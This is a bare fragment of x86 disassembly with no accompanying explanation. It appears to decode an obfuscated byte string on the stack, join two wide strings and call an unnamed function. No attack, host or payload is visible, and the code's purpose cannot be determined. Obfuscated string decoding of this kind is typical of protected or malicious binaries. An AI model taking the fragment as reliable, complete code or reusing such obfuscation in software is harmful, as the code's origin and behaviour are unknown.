mov ebp, ebx
xor ebp, 2
imul ebp, edx
or edx, 2
imul edx, ebx
xor ecx, 0x32
add ecx, ebp
add ecx, edx
inc cl
mov byte [esp + eax - 0x25d3f529], cl
inc eax
cmp eax, 0x25d3f53d
jne 0x423c80
movzx ecx, word [edi]
mov eax, esi
test cx, cx
je 0x423ce1
add edi, 2
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edi]
add edi, 2
test cx, cx
jne 0x423cd0
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
je 0x423d11
lea edx, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x423d00
mov word [eax], 0
mov eax, esp
push eax
push esi
call fcn.00444030
add esp, 8
mov edi, eax
mov ebx, dword [esp]
jmp dword [0x44b9e0]